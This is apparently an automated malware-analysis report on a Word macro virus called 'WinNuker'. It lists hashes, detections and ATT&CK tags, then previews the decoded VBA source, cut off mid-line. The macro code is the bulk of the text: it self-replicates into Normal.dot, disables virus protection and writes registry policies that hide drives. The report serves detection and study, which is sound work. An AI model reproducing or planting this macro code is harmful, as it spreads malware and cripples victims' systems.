Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b818a52bdbd3c71…

MALICIOUS

Office (OLE)

40.5 KB Created: 1999-05-18 17:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 275b791feec8e034d4d095c73bad8a96 SHA-1: ad32ef8c79321061776c58ac3516d48f14e5cb52 SHA-256: 1b818a52bdbd3c71b05b40075d563b9a2438fe3beb4b4296e9527775c09ebce2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The script attempts to export its own code to 'C:\Progra~1\WinNuker32.vxd' and then import it into the Normal template and the active document, indicating an attempt to establish persistence or spread. The presence of legacy WordBasic auto-exec markers further supports the malicious nature of the document.

Heuristics 4

  • ClamAV: Doc.Trojan.Twister-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twister-11
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17969 bytes
SHA-256: 362bf5dfa5d82d55a50ecf7ee93d8ab98a9e28a12e89f92815f66293e0769576
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WinNuker"
Sub AutoOpen()
WordBasic.DisableAutoMacros 0: Application.Caption = "Micrøsøft Wørd - WinNuker"
Application.ShowVisualBasicEditor = False: Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False: Options.VirusProtection = False
Options.SaveNormalPrompt = False: Options.AllowFastSave = False
Options.BlueScreen = True: Application.WindowState = wdWindowStateMaximize

Assistant.Visible = True
Assistant.Move xLeft:=700, yTop:=20
With Assistant.NewBalloon
    .Text = "Autor: Zerø|<LzØ>"
    .Heading = "This is WinNuker"
    .Animation = msoAnimationGetTechy
    .Show
End With
Assistant.Visible = False


FN$ = "C:\Progra~1\WinNuker32.vxd"
Application.VBE.ActiveVBProject.VBComponents.Item("WinNuker").Export FN$

If CheckInstNor = 0 Then
    NormalTemplate.VBProject.VBComponents.Import FN$
End If

If CheckInstDok = 0 Then
    ActiveDocument.VBProject.VBComponents.Import FN$
End If
Call WinNuker
End Sub
Sub DateiDrucken()
Call AutoOpen
    Selection.WholeStory
    A$ = Selection.Font.Name
    B$ = Selection.Font.Size
    Selection.Font.Name = "Bookman Old Style"
    Selection.Font.Size = 30
    Dialogs(wdDialogFilePrint).Show
    ActiveDocument.PrintOut
    Selection.Font.Name = A$
    Selection.Font.Size = B$
    Call WinNuker
End Sub
Sub AnsichtVBCode()
    MsgBox "Die zum Starten von VisualBasic benötigte Datei: VBA32.vxd wurde nicht gefunden!", vbCritical, "Visual Basic Error"
    Call WinNuker
End Sub
Sub AnsichtCode()
    MsgBox "Die zum Starten von VisualBasic benötigte Datei: VBA32.vxd wurde nicht gefunden!", vbCritical, "Visual Basic Error"
    Call WinNuker
End Sub
Sub DateiDokVorlagen()
    MsgBox "Nicht genug freier EMS-Speicher um Anwendung zu starten!", vbCritical, "Microsoft Word:"
    Call WinNuker
End Sub
Sub ExtrasMakro()
' Thanx to Jack Twoflower for this Code :}
Call WinNuker

Dim x
ReDim Combobox1__$(0)
Combobox1__$(0) = ""
ReDim Textbox1__$(0)
Textbox1__$(0) = ""
ReDim Droplistbox2__$(0)
Droplistbox2__$(0) = "Normal.dot (Globale Dokumentvorlage)"

WordBasic.BeginDialog 620, 280, "Makros"
WordBasic.Text 7, 6, 93, 13, "Makro&name:", "Text3"
WordBasic.ComboBox 7, 23, 435, 170, Combobox1__$(), "Combobox1"
WordBasic.Pushbutton 470, 14, 137, 21, "&Ausführen", "Definierbar2"
WordBasic.Cancelbutton 470, 38, 137, 21
WordBasic.Pushbutton 470, 72, 137, 21, "&Schrittweise prüfen", "Definierbar3"
WordBasic.Pushbutton 470, 96, 137, 21, "Bear&beiten", "Definierbar4"
WordBasic.Pushbutton 470, 130, 137, 21, "Ers&tellen", "Definierbar5"
WordBasic.Pushbutton 470, 154, 137, 21, "Org&anisieren", "Definierbar6"
WordBasic.Pushbutton 470, 178, 137, 21, "Orga&nisieren...", "Definierbar7"
WordBasic.Text 7, 200, 93, 13, "Makros in:", "Text1"
WordBasic.Droplistbox 90, 196, 354, 19, Droplistbox2__$(), "Listbox2"
WordBasic.Text 7, 222, 109, 13, "Beschrei&bung:", "Text2"
WordBasic.TextBox 7, 235, 437, 38, Textbox1__$()
WordBasic.EndDialog

Dim dlg As Object
Set dlg = WordBasic.CurValues.Userdialog

x = WordBasic.Dialog.Userdialog(dlg)
Select Case x
Case 0
WordBasic.Cancel
Case 1 To 6
MsgBox "Nicht genug freier EMS-Speicher um Anwendung zu starten!", vbCritical, "Microsoft Word:"
End Select
End Sub
Sub DateiNeu()
    Call AutoOpen
    Call WinNuker
End Sub
Sub DateiDruckenStandard()
    ActiveDocument.PrintOut
    Call AutoOpen
    Call WinNuker
End Sub
Sub WinNuker()
MsgBox "You got Nuked!!", vbCritical, "Ha Ha Ha!"
    System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDrives") = 3
    System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Policies\System", "NoDispCPL") = 1
    System.PrivateProfileString("", "HKEY_USERS\.Default\Sof
... (truncated)

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